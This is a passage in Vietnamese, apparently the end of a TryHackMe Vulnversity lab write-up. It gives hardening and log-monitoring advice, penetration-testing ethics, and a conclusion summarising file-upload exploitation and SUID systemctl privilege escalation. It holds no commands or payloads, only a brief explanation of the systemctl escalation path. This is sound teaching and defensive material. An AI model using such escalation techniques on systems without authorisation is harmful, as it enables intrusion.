- Harden cấu hình systemd và các dịch vụ tương tự: Đảm bảo rằng người dùng thông thường không thể dễ dàng tạo và kích hoạt các service unit từ các vị trí không tin cậy. Hạn chế việc sử dụng các biến môi trường có thể ảnh hưởng đến đường dẫn tìm kiếm unit file của systemd nếu không thực sự cần thiết. Quá trình systemd khởi động và quản lý các service theo các unit file, thường nằm trong các thư mục hệ thống như /etc/systemd/system hoặc /run/systemd/system.37 Việc cho phép
systemctl (nếu có SUID) đọc unit file từ các đường dẫn do người dùng kiểm soát (thông qua SYSTEMD_SYSTEM_UNIT_PATH) là một rủi ro bảo mật. - Không sử dụng SUID với script: Tránh gán SUID cho các shell script vì chúng dễ bị khai thác thông qua các biến môi trường hoặc cách trình thông dịch xử lý đối số.39
- Tầm quan trọng của việc giám sát log và cập nhật hệ thống:
- Phân tích Log: Thường xuyên theo dõi và phân tích log của web server (ví dụ: Apache access logs tại /var/log/apache2/access.log) để phát hiện các dấu hiệu bất thường như nhiều request thử các đuôi tệp lạ, truy cập vào các đường dẫn không tồn tại hoặc đáng ngờ (ví dụ: các payload của Gobuster), hoặc các request có dấu hiệu của reverse shell callback.34
- Cập nhật Hệ thống và Phần mềm: Giữ cho hệ điều hành, web server (Apache), ngôn ngữ kịch bản (PHP), và tất cả các phần mềm khác được cập nhật lên phiên bản mới nhất để vá các lỗ hổng đã biết.41 Ví dụ, các phiên bản PHP cũ có thể chứa nhiều lỗ hổng nghiêm trọng.41
- Áp dụng phòng thủ theo chiều sâu (Defense in Depth): Không có một biện pháp bảo mật đơn lẻ nào là hoàn hảo. Kết hợp nhiều lớp bảo vệ (ví dụ: tường lửa ứng dụng web (WAF), hệ thống phát hiện xâm nhập (IDS/IPS), cấu hình hardening, giám sát log, đào tạo người dùng) sẽ tăng cường đáng kể khả năng chống chịu của hệ thống trước các cuộc tấn công.
4.3. Lưu ý về Đạo đức nghề nghiệp trong Penetration Testing
Chứng chỉ CEH là viết tắt của “Certified Ethical Hacker”, nhấn mạnh yếu tố đạo đức trong công việc. Khi thực hiện kiểm thử xâm nhập, dù là trong môi trường lab hay thực tế, cần tuân thủ các nguyên tắc sau:
- Luôn có sự cho phép bằng văn bản (Rules of Engagement – RoE): Trước khi tiến hành bất kỳ hoạt động kiểm thử nào trên hệ thống không thuộc sở hữu của mình, phải có sự đồng ý rõ ràng và bằng văn bản từ chủ sở hữu hệ thống. Tài liệu này cần xác định rõ phạm vi, mục tiêu, giới hạn và các quy tắc ứng xử.42
- Xác định rõ phạm vi (Scope): Chỉ thực hiện kiểm thử trong phạm vi đã được thỏa thuận. Không cố gắng truy cập hoặc tấn công các hệ thống, dữ liệu nằm ngoài phạm vi cho phép.42
- Không gây hại hoặc gián đoạn hoạt động: Mục tiêu là tìm lỗ hổng, không phải phá hoại. Tránh các hành động có thể gây gián đoạn dịch vụ hoặc mất mát dữ liệu của khách hàng, trừ khi được yêu cầu và cho phép cụ thể trong RoE (ví dụ: kiểm thử DoS).42
- Bảo mật thông tin thu thập được: Mọi thông tin, dữ liệu nhạy cảm thu thập được trong quá trình pentest phải được bảo mật và chỉ chia sẻ với những người có thẩm quyền trong tổ chức khách hàng.45
- Xóa dấu vết (Covering Tracks): Sau khi hoàn thành kiểm thử, tùy thuộc vào thỏa thuận trong RoE, có thể cần phải xóa các tệp đã tải lên, log đã tạo, hoặc các thay đổi đã thực hiện trên hệ thống mục tiêu để trả hệ thống về trạng thái ban đầu.46 Tuy nhiên, việc này cần được thực hiện cẩn thận và có sự đồng ý, vì đôi khi việc giữ lại bằng chứng về cuộc tấn công giả lập lại hữu ích cho việc phân tích và học hỏi của đội ngũ phòng thủ.
5. Kết luận
Lab Vulnversity trên TryHackMe cung cấp một môi trường thực hành giá trị, giúp người học làm quen và rèn luyện các kỹ năng cốt lõi trong kiểm thử xâm nhập, từ giai đoạn thu thập thông tin, khai thác lỗ hổng ứng dụng web thông qua file upload, cho đến leo thang đặc quyền trên hệ thống Linux bằng cách khai thác SUID binary. Các kỹ năng này bao gồm việc sử dụng thành thạo các công cụ như Nmap, Gobuster, Burp Suite, Netcat, và hiểu biết về cách các tệp SUID, đặc biệt là systemctl, có thể bị lạm dụng.
Hoàn thành lab này không chỉ là một bước chuẩn bị tốt cho kỳ thi CEH Master, mà còn trang bị cho các chuyên gia bảo mật tương lai những kiến thức nền tảng vững chắc để đối phó với các mối đe dọa thực tế. Kỳ thi CEH Master đòi hỏi khả năng áp dụng kiến thức một cách linh hoạt và sáng tạo trong các tình huống giả lập phức tạp.1 Do đó, việc chỉ làm theo hướng dẫn là chưa đủ. Người học cần chủ động đặt câu hỏi, tìm hiểu sâu hơn về nguyên nhân gốc rễ của các lỗ hổng, thử nghiệm các biến thể tấn công khác nhau và liên tục mở rộng kiến thức sang các lĩnh vực liên quan.
Thực hành liên tục với nhiều loại lab và kịch bản khác nhau, kết hợp với việc nghiên cứu tài liệu và cập nhật các kỹ thuật tấn công/phòng thủ mới, là chìa khóa để thành công không chỉ trong kỳ thi CEH Master mà còn trong sự nghiệp an toàn thông tin đầy thử thách và năng động. Tư duy chủ động, ham học hỏi và tuân thủ các nguyên tắc đạo đức nghề nghiệp sẽ là những yếu tố quyết định để trở thành một chuyên gia ethical hacking thực thụ.





Bình luận về bài viết này